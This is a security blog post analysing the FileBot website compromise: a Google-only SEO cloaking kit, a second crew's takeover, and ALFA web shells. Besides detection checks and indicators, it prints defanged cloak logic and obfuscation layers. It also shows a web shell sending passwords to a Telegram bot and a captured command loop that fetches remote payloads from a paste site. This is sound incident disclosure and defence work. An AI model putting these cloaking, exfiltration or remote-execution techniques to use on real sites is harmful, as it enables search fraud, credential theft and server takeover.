← All posts
Blog

Anatomy of the FileBot website hack: a Google-only cloak, a hostile takeover, and a web shell that reports to Telegram

Shout-out: rednoah (FileBot), who shared the samples ↗

What happened

In October the developer of FileBot, a long-time friend of mine, found his phpBB forum taken over and posted about it publicly. Digging through file-system snapshots he found files that should not exist, going back as far as his oldest snapshot. He sent me three archives of what he found: the oldest snapshot of the main site from 25 September, the main site as it stood on 25 October, and the app. subdomain. This post is what those files say.

The headline: the first intrusion was not vandalism, it was SEO fraud. From 15 August a cloaking kit made filebot.net show a different page to Google only. People, monitoring tools and even AI crawlers kept seeing the real site, which is why nobody noticed for two months. Later a second crew found the same server, took the cloak over, and filled the site with web shells, uploaders and a Telegram-reporting backdoor. A third, stock web shell sits beside both.

Everything below comes from static analysis. No sample was executed. Each obfuscation layer was decoded as plain data in an isolated folder, and the samples were deleted afterwards.

Reader box: is your site showing Google something else?

Both cloaks in this incident decide by the User-Agent header alone. So the fastest check is to fetch your own homepage twice, once as a browser and once claiming to be Googlebot, and compare:

URL=https://example.com/
curl -s -A 'Mozilla/5.0' "$URL" > human.html
curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' "$URL" > google.html
diff -q human.html google.html && echo "same page" || echo "DIFFERENT: look at google.html"

On the server itself, these read-only checks catch every technique described below:

# a per-directory php.ini that injects code before every page
find /var/www /home -name .user.ini -exec grep -H auto_prepend_file {} \;

# an index.php next to a static index.html (the static site quietly became PHP)
find /var/www /home -name index.php -execdir test -e index.html \; -print

# PHP files claiming to be WordPress on a site that isn't WordPress
grep -rl "WordPress Core Bootstrap and Application Initialization Layer" /var/www /home

# processes dressed as kernel threads (real ones have no arguments)
ps -eo user,pid,args | awk '$3 ~ /^\[/ && NF > 3 && $NF != "<defunct>"'

If you have Google Search Console, also open Settings → Users and permissions and look for owners you don't recognise. Both crews here wanted to verify themselves as owners of the site.

Timeline

The 25 September snapshot still has its original timestamps, so it dates the first intrusion. The October archives only carry copy times.

Stage one: "NOX", a Google-only cloak

The first crew used a kit that names itself NOX. Its control panel is in Turkish: "NOX — İlk Kurulum" (first setup), "Cloak İşlemleri" (cloak operations), "HTML Düzenleyici" (HTML editor) and "Google Search Console Doğrulama" (Search Console verification).

The hook: no edits to the site's code

PHP reads a per-directory .user.ini, and one line in it was enough:

auto_prepend_file = "/home/<site-user>/filebot.net/class-cache-helper.php"

From then on PHP runs that file before every PHP page on the site, without a single line of the real code changing. A diff of the application would show nothing.

The trick: turning a static homepage into PHP

filebot.net's homepage is a static index.html, so a PHP hook would never fire on it. The kit's answer was to create an index.php that is a copy of index.html with the cloak stuck on top. The server's directory index tries index.php first when both exist, so / quietly became a PHP page that looks byte-for-byte like the real one. The first copy (kept as index.php.nox-bak) is identical to the real page. The later copy differs by a single full stop: the kit refreshed it from the live page so nobody would notice a stale homepage.

The cloak: Google sees spam, everyone else sees FileBot

Defanged, the logic is:

if switch_file_exists("render.lock")
   and user_agent matches Googlebot | AdsBot-Google | Mediapartners-Google | Google-InspectionTool | GoogleOther
   and user_agent matches none of DECOYS
   and path is "/" or "/index.php" or "/index.html":
       serve the file ~/.nox-content/cache-check-verify.html   (outside the web root)
       stop

The decoy list is the clever part. It names the tools a site owner would use to check their own site: curl, wget, Python, Go, Java, Scrapy, Puppeteer, Playwright, headless Chrome, Bing, Yandex, DuckDuckGo, Baidu, Ahrefs, Semrush, Majestic, Screaming Frog, Lighthouse, PageSpeed, GTmetrix, Pingdom, UptimeRobot, New Relic, Facebook, Twitter and LinkedIn link previews, and the AI crawlers: GPTBot, ChatGPT, ClaudeBot, PerplexityBot, Applebot, Amazonbot, Bytespider. Any of those got the real page. Only Google got the spam, and the spam page itself lived outside the web root where a quick look at the site's folder wouldn't find it.

The kit also carries a debug page, cloakdbg.php, that prints whether the switch is on, whether the spam file exists, and whether the current visitor counts as Googlebot or as a decoy. In other words, the operators tested the cloak against their own decoy list before switching it on.

The panel

license.php opens with a // @wp-module-id comment to look like part of WordPress. It is a JSON API rather than a page for a human: it turns cookies off, swallows every PHP error, and answers in JSON. It:

The credential stealer

validate.php is packed as eval(base64_decode(...)) around goto-scrambled code with every string hex- or octal-escaped. Unpacked, it is a password-protected file manager and command runner with one telling function, extract_credentials($content, $cms): it scans config files for DB_HOST, DB_USER, DB_PASSWORD, $user = '…', 'password' => '…' and similar. Whatever database the web user could read, this file could hand over. The same file turned up again in October under a new name, getting-started/fullscreen.php.

Stage two: the takeover

Some time after late September a different crew arrived. Their code is commented in Indonesian, their session key is APOLLON, and their branding points to "ApollonDestroyer / Sg-Team". This is the crew rednoah saw running on the server.

They hijacked the hijack

The October homepage no longer carries NOX. Its index.php now starts by printing two google-site-verification meta tags, then does this (defanged):

page = fetch("https://wisdomkingapx[.]com/filebot/lp.html")      // on EVERY request
if user_agent matches /googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot/:
    print page
    stop
// otherwise fall through to the real homepage

Two details stand out. The landing page lives under a path made for this one victim (/filebot/). And it is fetched on every homepage request, before the user agent is even checked, so the server talks to that domain all day, which outbound DNS or firewall logs would show. The fetch helper is called mangsud, Indonesian slang. The same cloak, packed again, guards /getting-started/.

A web shell that reports home

The crew's main backdoor appears in three places: plain in consigment.php (behind the same fake WordPress comment), and heavily packed in two folders. The packed copy is a nice example of how far this goes. A parse_str() call builds an array of function names out of URL-encoded fragments separated by junk comments:

parse_str('0=%41%52' /*junk*/ . '%52%41' /*junk*/ . '%59%5F%4D%61%70' /*junk*/ . '&1=%52%41…', $a);
// $a = [ARRAY_Map, RAwURLdecoDe, BaSe64_DECoDE, STr_RoT13, sTRrEv,
//        cReate_fUNCtiOn, GZUnCoMpress, hTMLSPECiAlChArs_dECODE, GzINfLATE]

Then one eval() wraps eighteen nested calls into that array around a single string: strrev, str_rot13, base64_decode, gzuncompress, and again, ending in gzinflate. Undone in reverse, the eighteen layers come down to about three kilobytes of very ordinary PHP: a login form (bcrypt-checked password passed as ?password=), a file manager, and this function:

// "Fungsi kirim notifikasi ke Telegram" (function: send a notification to Telegram)
send_telegram_notification($password)
    -> https://api.telegram.org/bot<token>/sendMessage
       "Shell Detected": time, domain, directory, referrer, IP address, password

Every successful login to the shell pings the crew's Telegram bot with the site, the folder and the password used. That is how these crews keep an inventory of the servers they hold.

An uploader in a WordPress costume

On the app subdomain the homepage had been replaced by a 17 KB file that is almost entirely a fake comment block ("WordPress Core Bootstrap and Application Initialization Layer … Do Not Delete This Line"), on a site that has never run WordPress. The real code is three lines of goto spaghetti. Decoded:

if GET["66"] == "apollon":
    show an upload form, target folder defaulting to the current directory
if a file was posted:
    copy it to POST["dir"] + "/" + its name      // any folder the web user can write
    print "UPLOAD FILE TO <path>"
otherwise: a blank page

This is the stage-one dropper: small, quiet, and enough to bring in everything else.

Shell locks

A crew that takes over a server doesn't want the next crew to do the same. In /resources/ they dropped an .htaccess that denies every PHP and HTML file in the folder, then a sub-folder with its own .htaccess that switches PHP back on just for itself. Their shell keeps working; anyone else's shells in that tree stop. The same pair was planted inside phpBB's own forums/config/installer/container/cgi-bin/, a folder nobody ever opens.

A small curiosity: the /resources/ sub-folder's real name contains an @. In the archive it shows as "[email protected]", which is what Cloudflare's email obfuscation writes over anything that looks like an address. Somewhere along the way the folder name passed through a web page behind Cloudflare.

ALFA, rebranded

The crew also brought the ALFA web shell, a widely circulated PHP control panel, with their own header ("Author: ApollonDestroyer/Sg-Team", a Telegram handle and a YouTube channel), the login apollon (the same word that unlocks the uploader), and a fake HTTP 500 page as its login screen. The apx in one of the Telegram handles matches the wisdomkingapx domain the cloak pulls from.

On the server: remote control by paste site

The process list rednoah captured shows how the crew drove the box once they had a shell (trimmed):

bash -c URL="https://pastefy[.]app/<id>/raw" while true; do tmp=$(mktemp); curl -s -f -L -o "$tmp" "$URL" …   (twice)
[kworker/0:1] a.py https://app.filebot.net/
[kworker/0:1] a.py https://www.filebot.net/
./suo -l -s ********** -i
sshd: <site-user>@pts/1 … pts/5

The third shell: stock ALFA 4.1

One more file appears twice on the app subdomain (configs.php and a copy hidden as data/forusm.php, a misspelt "forum") and once on the main site (eula-form.php). It is ALFA Shell 4.1, packed in three layers:

eval(base64_decode('…'))                                         // layer 1
  → goto-scrambled code with an escaped string $Lix              // layer 2
  → eval('?>' . gzuncompress(gzinflate(base64_decode(strrev($Lix)))))   // layer 3
  → 367 KB of plain ALFA 4.1

Its login is root, with a fake 404 as the login page, and its password hash still carries the operator's own note: //md5(ehsan). ALFA's feature list explains why it's popular: a terminal, PHP eval, Perl, Python and SSI CGI shells for servers where PHP's exec functions are disabled, a config grabber that collects every site's database password, symlink tricks to read other users' files, a full MySQL manager, a cPanel cracker, a back-connect shell, a mass defacer, and .htaccess writers that switch mod_security off. On the app subdomain it had dropped its CGI helper: a .htaccess that enables CGI for .alfa files, and a one-line Perl script that runs a base64 cmd through system().

Whether this is a third crew or a stock copy one of the others reused can't be told from the files.

Why nobody noticed for two months

Finding the way in without old web logs

The files show what the attackers did after they got in, not how. The foothold predates 15 August, and rednoah's web logs don't reach back that far. These sources don't depend on them:

# real arrival times of planted files (birth, change, faked modification)
stat -c '%w  %z  %y  %n' license.php validate.php

# the legitimate file whose timestamp was copied
find /home/<user> -newermt '2021-12-09 15:14' ! -newermt '2021-12-09 15:15'

# last logins for the site's user
lastlog -u <user>; last -F -w <user>

Lessons for anyone running PHP sites

Indicators

SHA-256

c0f40bf0b24ca9b2ae8ba1ef739c746b07a42000eaf193f657c4ef6553696884  license.php (NOX panel)
799a05ee72f3e593f2e031c677396af3a04e96fa375776aec209b69221e0f217  validate.php = getting-started/fullscreen.php (credential stealer)
f059783bf5af7d95536e9493678beb0115cb01433864b853001bdb55dbc8c3e8  class-cache-helper.php (NOX cloak)
1bd90d1dbdb7ca10dedf8551303d6959a623aada987963f021a3300317d389e4  cloakdbg.php (NOX test page)
5864705a2aae66a4e283355feebb8f1e6544962a21b70e47b9a120d43fa9b144  index.php, September (NOX cloak + copied homepage)
76e8572a0a87a32db533f9fce62ec89eb14b2b4ed4d28125a111849119eba5c1  index.php, October (wisdomkingapx cloak)
9df88b580ce5d86c52ab5e97ad16d3e185385e40c3d225c047772228b38f9631  getting-started/index.php (packed cloak)
485f9cb97f879d4c13b4ff6e4ed79d87a3cc6e600d714ee6794647c37b9f8a86  consigment.php (APOLLON shell)
3118ccbb9966ecb6eb2610267437f8c014892c803387012b3b38abf812f61dcd  APOLLON shell, 18-layer packed copy
4c1442c71b66e2c366855f5fc9baf15d5e19af0f91e4938386e1879613e34e7d  .htaccess shell lock (deny)
12d204829a93b3660f0fd2b3f4441b4af67fd85bfbf2202ee3cbbe65f2d3ed45  .htaccess shell lock (allow, own folder)
52b67d8b1859820bff1b39bf7bb91a34fb5309e87cd157c0fb368f766fb51592  uploader in WordPress costume (?66=apollon)
8f45ead2318f012324be580539641801c4989cd170d7b5bd4ab8d60275a1dcd4  ALFA, rebranded ApollonDestroyer (login apollon)
29f97fe87463a657b13e230fac8ee7a1b65e6afeec9d51132526106c891d730e  ALFA 4.1 packed (configs.php = forusm.php = eula-form.php)
f82fd317860454606003aa9dc7efde284d851424730e229f19c50d60206311b8  alfacgiapi/perl.alfa
915cd2fe3b324bd7f534f80e6963acf646d6f82ddc331a5f664f8c50a0493188  alfacgiapi/.htaccess

Network and accounts

eXCehoQ8FJvpPrN0wqtV1TakJqsWU3Q9kliAr1j_ZCo
ZyGeNHblpV7_8OgLIWZsEGT9pffeSdm5SzQY6PLgh-Q

Strings worth grepping for

NOX-CLOAK   _nox_   nox-content   render.lock   wp-module-id   extract_credentials
APOLLON   send_telegram_notification   mangsud   wisdomkingapx
WordPress Core Bootstrap and Application Initialization Layer   66=apollon
ALFA_SHELL_CODE   __ALFA_VERSION__   alfacgiapi   Sole Sad   md5(ehsan)
auto_prepend_file   (inside any .user.ini)

Thanks to rednoah for sharing the samples. If you run a site and any of the above looks familiar, start with the reader box at the top.